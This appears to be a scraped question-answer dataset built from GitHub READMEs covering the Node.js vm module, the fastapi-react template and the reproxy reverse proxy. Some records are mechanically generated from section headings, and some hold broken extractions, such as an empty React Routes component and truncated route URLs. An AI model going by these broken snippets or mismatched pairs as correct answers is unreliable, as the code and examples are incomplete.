{"id": "gh_0608128f059f", "question": "How to: Q. What are the use cases for the Node.js \"vm\" core module?", "question_body": "About learning-zone/nodejs-basics", "answer": "The \"VM\" module enables compiling and running code within V8 Virtual Machine contexts. JavaScript code can be compiled and run immediately or compiled, saved, and run later. It provides a way of executing JavaScript on a virtual machine.\n\nA common use case is to run the code in a different V8 Context. This means invoked code has a different global object than the invoking code.\n\n**Syntax:**\n\n```js\nconst vm = require('vm');\n```\n\n**VM Methods:**\n\n|Method            |Description                            |\n|------------------|---------------------------------------|\n|createContext()   |Prepares a virtual machine, or sandbox, where you can execute scripts|\n|isContext()       |Returns true if the specified sandbox has been created by the createContext() method|\n|runInContext()    |Executes JavaScript code in the specified context, and returns the result|\n|runInDebug()      |Executes JavaScript inside the debug context|\n|runInNewContext() |Executes JavaScript code in a new context, and returns the result|\n|runInThisContext()|Executes JavaScript code in the global context, and returns the result|\n\n**Example:**\n\n```js\nconst vm = require(\"vm\");\n\nconst x = 10;\nconst context = { x: 20 };\n\nvm.createContext(context); // Contextify the object.\n\nconst code = \"x += 10\";\n// Initially, x has the value 20 because that is the value of \"context.x\"\nvm.runInContext(code, context);\n\nconsole.log(context.x); // 30\nconsole.log(x); // 10\n```\n\n*Note: The vm module is not a security mechanism. Do not use it to run untrusted code.*\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208086"}
{"id": "gh_6b6de228c3f2", "question": "How to: Timing Function Execution in Node.js", "question_body": "About learning-zone/nodejs-basics", "answer": "You can check the runtime of a function in Node.js by using the `console.time()` and `console.timeEnd()` functions. Here's an example with an explanation:\n\n    ```javascript\n    function myFunction() {\n      console.log(\"Function started\");\n      \n      // Start the timer\n      console.time(\"myFunction\");\n    \n      // Simulate some time-consuming task\n      for (let i = 0; i < 1000000000; i++) {\n        // Do some work\n      }\n    \n      // End the timer\n      console.timeEnd(\"myFunction\");\n    \n      console.log(\"Function ended\");\n    }\n    \n    myFunction();", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208092"}
{"id": "gh_a582338e2a9d", "question": "How to: In this example:", "question_body": "About learning-zone/nodejs-basics", "answer": "- We use `console.log` to print a message indicating the start of the function.\n- We start a timer named \"myFunction\" using `console.time(\"myFunction\")`.\n- We simulate a time-consuming task by running a loop.\n- After the loop is finished, we end the timer using `console.timeEnd(\"myFunction\")`.\n- Finally, we use `console.log` to print a message indicating the end of the function.\n\n- Function started\n- myFunction: 5431.709ms\n- Function ended\n\nThe time in milliseconds (ms) represents the runtime of the function `myFunction`. You can use this approach to measure the runtime of specific parts of your code to identify performance bottlenecks or optimize your code.\n↥ back to top\n#### Q. What is Distributed Denial of Service (DDoS) attacks and how to secure NodeJS REST API from it?\n#### Q. What are SOLID principles?\n#### Q. How to develop Node.js app using SOLID principles?\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.208099"}
{"id": "gh_a24d695a126f", "question": "How to: Table of Contents", "question_body": "About Buuntu/fastapi-react", "answer": "- [Background](#background)\n- [Quick Start](#quick-start)\n- [Develop](#develop)\n- [Admin Dashboard](#admin-dashboard)\n- [Security](#security)\n- [Testing](#testing)\n  - [Fixtures](#fixtures)\n    - [test_db](#test_db)\n    - [test_user](#test_user)\n    - [test_superuser](#test_superuser)\n    - [client](#client)\n    - [user_token_headers](#user_token_headers)\n    - [superuser_token_headers](#superuser_token_headers)\n- [Background Tasks](#background-tasks)\n  - [Flower](#flower)\n- [Frontend Utilities](#frontend-utilities)\n  - [Utility Functions](#utility-functions)\n    - [login](#login)\n    - [logout](#logout)\n    - [isAuthenticated](#isauthenticated)\n  - [Routes](#routes)\n  - [Higher Order Components](#higher-order-components)\n    - [PrivateRoute](#privateroute)\n- [Deployment](#deployment)\n- [Contributing](#contributing)", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2568, "answer_score": 10, "has_code": true, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.480996"}
{"id": "gh_f973e75e0933", "question": "How to: Background", "question_body": "About Buuntu/fastapi-react", "answer": "It is often laborsome to start a new project. 90% of the time you have to decide\nhow to handle authentication, reverse proxies, docker containers, testing,\nserver-side validation, linting, etc. before you can even get started.\n\n**FastAPI-React** serves to streamline and give you that functionality out of\nthe box.\n\nIt is meant as a lightweight/React alternative to [FastAPI's official fullstack\nproject](https://github.com/tiangolo/full-stack-fastapi-postgresql). If you want\na more comprehensive project in Vue, I would suggest you start there. A lot of\nthe backend code is taken from that project or the [FastAPI official\ndocs](https://fastapi.tiangolo.com/).", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2568, "answer_score": 10, "has_code": false, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481013"}
{"id": "gh_13071aac006a", "question": "How to: Quick Start", "question_body": "About Buuntu/fastapi-react", "answer": "First, install cookiecutter if you don't already have it:\n\n```bash\npip3 install cookiecutter\n```\n\nSecond, install docker-compose if you don't already have it:\n\n[docker-compose installation official\ndocs](https://docs.docker.com/compose/install/).\n\nThen, in the directory you want your project to live:\n\n```bash\ncookiecutter gh:Buuntu/fastapi-react\n```\n\nYou will need to put in a few variables and it will create a project directory\n(called whatever you set for `project_slug`).\nInput Variables\n- project_name [default fastapi-react-project]\n- project_slug [default fastapi-react-project] - this is your project directory\n- port [default 8000]\n- postgres_user [default postgres]\n- postgres_password [default password]\n- postgres_database [default app]\n- superuser_email [default admin@fastapi-react-project.com]\n- superuser_password [default password]\n- secret_key [default super_secret]", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2568, "answer_score": 10, "has_code": true, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481021"}
{"id": "gh_d50ade1eefc6", "question": "How to: Admin Dashboard", "question_body": "About Buuntu/fastapi-react", "answer": "This project uses [react-admin](https://marmelab.com/react-admin/) for a highly\nconfigurable admin dashboard.\n\nAfter starting the project, navigate to `http://localhost:8000/admin`. You\nshould see a login screen. Use the username/password you set for the superuser\non project setup.\n\n_NOTE: regular users will not be able to access the admin dashboard_\n\n![React Adming Login](assets/login-screen.png)\n\nYou should now see a list of users which you can edit, add, and delete. The\ntable is configured with the REST endpoints to the FastAPI `/users` routes in\nthe backend.\n\n![React Admin Dashboard](assets/admin-dashboard.png)\n\nThe admin dashboard is kept in the `frontend/src/admin` directory to keep it\nseparate from the regular frontend.", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2568, "answer_score": 10, "has_code": false, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481032"}
{"id": "gh_bdb802b921f7", "question": "How to: Background Tasks", "question_body": "About Buuntu/fastapi-react", "answer": "This template comes with Celery and Redis Docker containers pre-configured for\nyou. For any long running processes, it's recommended that you handle these\nusing a task queue like Celery to avoid making the client wait for a request to\nfinish. Some examples of this might be sending emails, uploading large files, or\nany long running, resource intensive tasks.\n\nThere is an example task in `backend/app/tasks.py` and an example Celery test in\n`backend/app/tests/test_tasks.py`. This test runs synchronously, which is what\nCelery docs recommend.\n\nIf you are not happy with Celery or Redis, it should be easy to swap these\ncontainers out with your favorite tools. Some suggested alternatives might be\n[Huey](https://github.com/coleifer/huey) as the task queue and\n[RabbitMQ](https://www.rabbitmq.com/) for the message broker.", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2568, "answer_score": 10, "has_code": false, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481046"}
{"id": "gh_8b9cb2c8634f", "question": "How to: Frontend Utilities", "question_body": "About Buuntu/fastapi-react", "answer": "There are a few helper methods to handle authentication in `frontend/src/utils`.\nThese store and access the JWT returned by FastAPI in local storage. Even though\nthis doesn't add any security, we prevent loading routes that might be protected\non the frontend, which results in a better UX experience.", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2568, "answer_score": 10, "has_code": false, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481052"}
{"id": "gh_f8880576b491", "question": "How to: Utility Functions", "question_body": "About Buuntu/fastapi-react", "answer": "#### login\n\n```typescript\n// in src/utils/auth.ts\n\n/**\n *  Handles authentication with backend and stores in JWT in local storage\n **/\nconst login = (email: string, password: string) => boolean;\n```\n\n#### logout\n\n```typescript\n// in src/utils/auth.ts\n\n// clears token from local storage\nconst logout = (email: string, password: string) => void;\n```\n\n#### isAuthenticated\n\n```typescript\n// Checks authenticated state from JWT tokens\nconst isAuthenticated = () => boolean;\n```", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2568, "answer_score": 10, "has_code": true, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481059"}
{"id": "gh_b82721a6c190", "question": "How to: Higher Order Components", "question_body": "About Buuntu/fastapi-react", "answer": "#### PrivateRoute\n\nThis handles routes that require authentication. It will automatically check\nwhether the correct token with the \"user\" permissions is present or redirect to\nthe home page.\n\n```JSX\n// in src/Routes.tsx\nimport { Switch } from 'react-router-dom';\n\n// Replace this with your component\nimport { ProtectedComponent } from 'components';\n\nconst Routes = () => (\n);\n```", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2568, "answer_score": 10, "has_code": true, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481066"}
{"id": "gh_ddf25cdf3a99", "question": "How to: Deployment", "question_body": "About Buuntu/fastapi-react", "answer": "This stack can be adjusted and used with several deployment options that are\ncompatible with Docker Compose, but it may be easiest to use Docker in Swarm\nMode with an Nginx main load balancer proxy handling automatic HTTPS\ncertificates, using the ideas from DockerSwarm.rocks.\n\nPlease refer to DockerSwarm.rocks to see how to deploy such a cluster easily.\nYou will have to change the Traefik examples to Nginx or update your\ndocker-compose file.", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2568, "answer_score": 10, "has_code": false, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481073"}
{"id": "gh_3ef5441a5955", "question": "How to: Contributing", "question_body": "About Buuntu/fastapi-react", "answer": "Contributing is more than welcome. Please read the [Contributing\ndoc](CONTRIBUTING.md) to find out more.", "tags": ["Buuntu"], "source": "github_gists", "category": "Buuntu", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2568, "answer_score": 10, "has_code": false, "url": "https://github.com/Buuntu/fastapi-react", "collected_at": "2026-01-17T12:58:52.481078"}
{"id": "gh_b6b33fc153a4", "question": "How to: Static provider", "question_body": "About umputun/reproxy", "answer": "This is the simplest provider defining all mapping rules directly in the command line (or environment). Multiple rules supported. Each rule is 3 or 4 comma-separated elements `server,sourceurl,destination[,ping-url]`. For example:\n\n- `*,^/api/(.*),https://api.example.com/$1` - proxy all request to any host/server with `/api` prefix to `https://api.example.com`\n- `example.com,/foo/bar,https://api.example.com/zzz,https://api.example.com/ping` - proxy all requests to `example.com` and with `/foo/bar` url to `https://api.example.com/zzz` and it sees `https://api.example.com/ping` for the health check.\n\nThe last (4th) element defines an optional ping url used for health reporting. I.e.`*,^/api/(.*),https://api.example.com/$1,https://api.example.com/ping`. See [Health check](#ping-and-health-checks) section for more details.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967464"}
{"id": "gh_bb83e4528c36", "question": "How to: File provider", "question_body": "About umputun/reproxy", "answer": "This provider uses yaml file with routing rules.\n\n`reproxy --file.enabled --file.name=config.yml`\n\nExample of `config.yml`:\n\n```yaml\ndefault: # the same as * (catch-all) server\n  - { route: \"^/api/svc1/(.*)\", dest: \"http://127.0.0.1:8080/blah1/$1\" }\n  - {\n      route: \"/api/svc3/xyz\",\n      dest: \"http://127.0.0.3:8080/blah3/xyz\",\n      ping: \"http://127.0.0.3:8080/ping\",\n      remote: \"192.168.1.0/24, 127.0.0.1\" # optional, restrict access to the route\n    }\n  - {\n      route: \"^/admin/(.*)\",\n      dest: \"http://127.0.0.4:8080/$1\",\n      auth: \"admin:$2y$05$...\" # optional, per-route basic auth (htpasswd bcrypt format)\n    }\nsrv.example.com:\n  - { route: \"^/api/svc2/(.*)\", dest: \"http://127.0.0.2:8080/blah2/$1/abc\" }\n  - { route: \"^/web/\", dest: \"/var/www\", \"assets\": true }\n\"*.files.example.com\":\n  - { route: \"^/files/(.*)\", dest: \"http://123.123.200.200:8080/$host/$1\" }\n```\n\nThis is a dynamic provider and file change will be applied automatically.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967480"}
{"id": "gh_c0640b0fb6a9", "question": "How to: Docker provider", "question_body": "About umputun/reproxy", "answer": "Docker provider supports a fully automatic discovery (with `--docker.auto`) with no extra configuration needed. By default, it redirects all requests like `http://\n/\n/(.*)` to the internal IP of the given container and the exposed port. Only active (running) containers will be detected.\n\nThis default can be changed with labels:\n\n- `reproxy.server` - server (hostname) to match. Also can be a list of comma-separated servers.\n- `reproxy.route` - source route (location)\n- `reproxy.dest` - destination path. Note: this is not full url, but just the path which will be appended to container's ip:port\n- `reproxy.port` - destination port for the discovered container\n- `reproxy.ping` - ping path for the destination container.\n- `reproxy.remote` - restrict access to the route with a list of comma-separated subnets or ips\n- `reproxy.auth` - require basic auth for the route with comma-separated `user:bcrypt_hash` pairs (generated by `htpasswd -nbB`)\n- `reproxy.assets` - set assets mapping as `web-root:location`, for example `reproxy.assets=/web:/var/www`\n- `reproxy.keep-host` - keep host header as is (`yes`, `true`, `1`) or replace with destination host (`no`, `false`, `0`)\n- `reproxy.enabled` - enable (`yes`, `true`, `1`) or disable (`no`, `false`, `0`) container from reproxy destinations.\n\nPls note: without `--docker.auto` the destination container has to have at least one of `reproxy.*` labels to be considered as a potential destination.\n\nWith `--docker.auto`, all containers with exposed port will be considered as routing destinations. There are 3 ways to restrict it:\n\n- Exclude some containers explicitly with `--docker.exclude`, i.e. `--docker.exclude=c1 --docker.exclude=c2 ...`\n- Allow only a particular docker network with `--docker.network`\n- Set the label `reproxy.enabled=false` or `reproxy.enabled=no` or `reproxy.enabled=0`\n\nIf no `reproxy.route` defined, the default route is `^/\n/(.*)`. In case if all proxied source should have the same prefix pattern, for example `/api/(.*)` user can define the common prefix (in this case `/api`) for all container-based routes. This can be done with `--docker.prefix` parameter.\n\nDocker provider also allows to define multiple set of `reproxy.N.something` labels to match multiple distinct routes on the same container. This is useful as in some cases a single container may expose multiple endpoints, for example, public API and some admin API. All the labels above can be used with \"N-index\", i.e. `reproxy.1.server`, `reproxy.1.port` and so on. N should be in 0 to 9 range.\n\nThis is a dynamic provider and any change in container's status will be applied automatically.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967494"}
{"id": "gh_dedf02094b45", "question": "How to: Consul Catalog provider", "question_body": "About umputun/reproxy", "answer": "Use: `reproxy --consul-catalog.enabled`\n\nConsul Catalog provider calls Consul API periodically (every second by default) to obtain services, which has any tag with `reproxy.` prefix. User can redefine check interval with `--consul-catalog.interval` command line flag as well as consul address with `--consul-catalog.address` command line option. The default address is `http://127.0.0.1:8500`. \n\nFor example:\n```\nreproxy --consul-catalog.enabled --consul-catalog.address=http://192.168.1.100:8500 --consul-catalog.interval=10s  \n```\n\nBy default, provider sets values for every service:\n- enabled `false`\n- server `*`\n- route `^/(.*)`\n- dest `http://\n/$1`\n- ping `http://\n/ping`\n\nThis default can be changed with tags:\n\n- `reproxy.server` - server (hostname) to match. Also, can be a list of comma-separated servers.\n- `reproxy.route` - source route (location)\n- `reproxy.dest` - destination path. Note: this is not full url, but just the path which will be appended to service's ip:port\n- `reproxy.port` - destination port for the discovered service\n- `reproxy.remote` - restrict access to the route with a list of comma-separated subnets or ips\n- `reproxy.auth` - require basic auth for the route with comma-separated `user:bcrypt_hash` pairs (generated by `htpasswd -nbB`)\n- `reproxy.ping` - ping path for the destination service.\n- `reproxy.enabled` - enable (`yes`, `true`, `1`) or disable (`any different value`) service from reproxy destinations.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967503"}
{"id": "gh_393f030b3bd5", "question": "How to: Compose-specific details", "question_body": "About umputun/reproxy", "answer": "In case if rules set as a part of docker compose environment, destination with the regex group will conflict with compose syntax. I.e. attempt to use `https://api.example.com/$1` in compose environment will fail due to a syntax error. The standard solution here is to \"escape\" `$` sign by replacing it with `$$`, i.e. `https://api.example.com/$$1`. This substitution supported by docker compose and has nothing to do with reproxy itself. Another way is to use `@` instead of `$` which is supported on reproxy level, i.e. `https://api.example.com/@1`_", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967510"}
{"id": "gh_0325837b8034", "question": "How to: SSL support", "question_body": "About umputun/reproxy", "answer": "SSL mode (by default none) can be set to `auto` (ACME/LE certificates), `static` (existing certificate) or `none`. If `auto` turned on SSL certificate will be issued automatically for all discovered server names. User can override it by setting `--ssl.fqdn` value(s). In `auto` and `static` SSL mode, Reproxy will automatically add the `X-Forwarded-Proto` and `X-Forwarded-Port` headers. These headers are useful for services behind the proxy to know the original protocol (http or https) and port number used by the client.\n\nWhen using ACME with discovery providers (docker, file, consul), SSL certificates are automatically obtained for newly discovered servers without requiring a reproxy restart.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967517"}
{"id": "gh_6b8d219f5198", "question": "How to: ACME Challenges", "question_body": "About umputun/reproxy", "answer": "Reproxy supports two types of ACME challenges for SSL certificate validation:\n\n1. **HTTP-01 Challenge** (default): Validates domain ownership by serving a token at a specific HTTP URL. Requires port 80 to be publicly accessible.\n\n2. **DNS-01 Challenge**: Validates domain ownership by creating DNS TXT records. This method:\n   - Does not require port 80 to be accessible\n   - Works with wildcard certificates\n   - Requires a supported DNS provider configuration\n\n#### Challenge Selection\n\nReproxy automatically determines which challenge method to use based on your configuration:\n\n- **HTTP-01** (default): Used when no DNS provider is configured\n- **DNS-01**: Used when a DNS provider is configured\n\nYou don't need to explicitly select a challenge type - just configure a DNS provider if you want to use DNS-01 challenges.\n\n#### Currently Supported DNS Providers\n\nReproxy currently includes support for the following DNS providers:\n\n- **Cloudflare**: `--ssl.dns.type=cloudflare --ssl.dns.cloudflare.api-token=TOKEN`\n- **Route53 (AWS)**: `--ssl.dns.type=route53 --ssl.dns.route53.region=REGION --ssl.dns.route53.hosted-zone-id=ID`\n- **Gandi**: `--ssl.dns.type=gandi --ssl.dns.gandi.bearer-token=TOKEN`\n- **DigitalOcean**: `--ssl.dns.type=digitalocean --ssl.dns.digitalocean.api-token=TOKEN`\n- **Hetzner**: `--ssl.dns.type=hetzner --ssl.dns.hetzner.api-token=TOKEN`\n- **Linode**: `--ssl.dns.type=linode --ssl.dns.linode.api-token=TOKEN`\n- **GoDaddy**: `--ssl.dns.type=godaddy --ssl.dns.godaddy.api-token=TOKEN`\n- **Namecheap**: `--ssl.dns.type=namecheap --ssl.dns.namecheap.api-key=KEY --ssl.dns.namecheap.user=USER`\n- **Scaleway**: `--ssl.dns.type=scaleway --ssl.dns.scaleway.secret-key=KEY --ssl.dns.scaleway.organization-id=ID`\n- **Porkbun**: `--ssl.dns.type=porkbun --ssl.dns.porkbun.api-key=KEY --ssl.dns.porkbun.api-secret-key=SECRET`\n- **DNSimple**: `--ssl.dns.type=dnsimple --ssl.dns.dnsimple.api-access-token=TOKEN --ssl.dns.dnsimple.account-id=ID`\n- **DuckDNS**: `--ssl.dns.type=duckdns --ssl.dns.duckdns.api-token=TOKEN`\n\nExample with Cloudflare as DNS provider:\n```\nexport CLOUDFLARE_API_TOKEN=your_api_token\nreproxy --ssl.type=auto --ssl.acme-email=admin@example.com --ssl.fqdn=example.com\n```\n\nThe DNS-01 challenge is especially useful when:\n- Your server doesn't have port 80 exposed publicly\n- You need wildcard certificates (e.g., *.example.com)\n- You're behind restrictive firewalls", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967527"}
{"id": "gh_0bb4887f9896", "question": "How to: Assets Server", "question_body": "About umputun/reproxy", "answer": "Users may turn the assets server on (off by default) to serve static files. As long as `--assets.location` set it treats every non-proxied request under `assets.root` as a request for static files. The assets server can be used without any proxy providers; in this mode, reproxy acts as a simple web server for the static content. Assets server also supports \"spa mode\" with `--assets.spa` where all not-found request forwarded to `index.html`.\n\nIn addition to the common assets server, multiple custom assets servers are supported. Each provider has a different way to define such a static rule, and some providers may not support it at all. For example, multiple asset servers make sense in static (command line provider), file provider, and even useful with docker providers, however it makes very little sense with consul catalog provider.\n\n1. static provider - if source element prefixed by `assets:` or `spa:` it will be treated as file-server. For example `*,assets:/web,/var/www,` will serve all `/web/*` request with a file server on top of `/var/www` directory. \n2. file provider - setting optional fields `assets: true` or `spa: true`\n3. docker provider - `reproxy.assets=web-root:location`, i.e. `reproxy.assets=/web:/var/www`. Switching to spa mode done by setting `reproxy.spa` to `yes` or `true`", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967539"}
{"id": "gh_a8069e36b705", "question": "How to: Using reproxy as a base image", "question_body": "About umputun/reproxy", "answer": "Serving purely static content is one of the popular use cases. Usually this used for the separate frontend container providing UI only. With the assets server such a container is almost trivial to make. This is an example from the container serving [reproxy.io](http://reproxy.io)\n\n```docker\nFROM node:22-alpine as build\n\nWORKDIR /build\nCOPY site/ /build\nCOPY README.md /build/src/index.md\n\nRUN yarn --frozen-lockfile\nRUN yarn build\nRUN\tls -la /build/public\n\nFROM ghcr.io/umputun/reproxy\nCOPY --from=build /build/public /srv/site\nEXPOSE 8080\nUSER app\nENTRYPOINT [\"/srv/reproxy\", \"--assets.location=/srv/site\"]\n```\nAll it needs is to copy stastic assets to some location and passing this location as `\"--assets.location` to reproxy entrypoint.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967548"}
{"id": "gh_992235a56ced", "question": "How to: SPA-friendly mode", "question_body": "About umputun/reproxy", "answer": "Some SPA applications counts on proxy to handle 404 on static asset in a special way, by redirecting it to \"/index.html\". This is similar to nginx's `try_files $uri $uri/ …` directive and, apparently, this functionality somewhat important for the modern web apps.\n\nThis mode is off by default and can be turned on by setting `--assets.spa` or `ASSETS_SPA=true` env.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967556"}
{"id": "gh_16ba2cd41c51", "question": "How to: More options", "question_body": "About umputun/reproxy", "answer": "- `--gzip`   enables gzip compression for responses.\n- `--max=N`  allows to set the maximum size of request (default 64k). Setting it to `0` disables the size check.\n- `--timeout.*` various timeouts for both server and proxy transport. See `timeout` section in [All Application Options](#all-application-options). A zero or negative value means there will be no timeout.\n- `--insecure` disables SSL verification on the destination host. This is useful for the self-signed certificates.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967563"}
{"id": "gh_56becc768090", "question": "How to: Default ports", "question_body": "About umputun/reproxy", "answer": "In order to eliminate the need to pass custom params/environment, the default `--listen` is dynamic and trying to be reasonable and helpful for the typical cases:\n\n- If anything set by users to `--listen` all the logic below ignored and host:port passed in and used directly.\n- If nothing set by users to `--listen` and reproxy runs outside the docker container, the default is `127.0.0.1:80` for http mode (`ssl.type=none`) and `127.0.0.1:443` for ssl mode (`ssl.type=auto` or `ssl.type=static`).\n-  If nothing set by users to `--listen` and reproxy runs inside the docker, the default is `0.0.0.0:8080` for http mode, and `0.0.0.0:8443` for ssl mode.\n\nAnother default set in the similar dynamic way is `--ssl.http-port`. For run inside of the docker container it set to `8080` and without to `80`.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967570"}
{"id": "gh_f5940d2e2845", "question": "How to: Ping, health checks and fail-over", "question_body": "About umputun/reproxy", "answer": "reproxy provides two endpoints for this purpose:\n\n- `/ping` responds with `pong` and indicates what reproxy up and running\n- `/health` returns `200 OK` status if all destination servers responded to their ping request with `200` or `417 Expectation Failed` if any of servers responded with non-200 code. It also returns json body with details about passed/failed services.\n\nIn addition to the endpoints above, reproxy supports optional live health checks. In this case (if enabled), each destination checked for ping response periodically and excluded failed destination routes. It is possible to return multiple identical destinations from the same or various providers, and the only passed picked. If numerous matches were discovered and passed - the final one picked according to `lb-type` strategy (by default random selection).\n\nTo turn live health check on, user should set `--health-check.enabled` (or env `HEALTH_CHECK_ENABLED=true`). To customize checking interval `--health-check.interval=` can be used.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967578"}
{"id": "gh_642a3961c7c1", "question": "How to: Management API", "question_body": "About umputun/reproxy", "answer": "Optional, can be turned on with `--mgmt.enabled`. Exposes 2 endpoints on `mgmt.listen` (address:port):\n\n- `GET /routes` - list of all discovered routes\n- `GET /metrics` - returns prometheus metrics (`http_requests_total`, `response_status` and `http_response_time_seconds`)\n\nBy default, `http_response_time_seconds` uses raw request paths as labels, which can cause high cardinality with dynamic URLs (e.g., `/api/users/123`, `/api/users/456`). Use `--mgmt.low-cardinality` to switch to route patterns (e.g., `^/api/users/(.*)`) instead, significantly reducing metrics cardinality.\n\n_see also [examples/metrics](https://github.com/umputun/reproxy/tree/master/examples/metrics)_", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967585"}
{"id": "gh_fd5079ae42fc", "question": "How to: Errors reporting", "question_body": "About umputun/reproxy", "answer": "Reproxy returns 502 (Bad Gateway) error in case if request doesn't match to any provided routes and assets. In case if some unexpected, internal error happened it returns 500. By default reproxy renders the simplest text version of the error - \"Server error\". Setting `--error.enabled` turns on the default html error message and with `--error.template` user may set any custom html template file for the error rendering. The template has two vars: `{{.ErrCode}}` and `{{.ErrMessage}}`. For example this template `oh my! {{.ErrCode}} - {{.ErrMessage}}` will be rendered to `oh my! 502 - Bad Gateway`", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967592"}
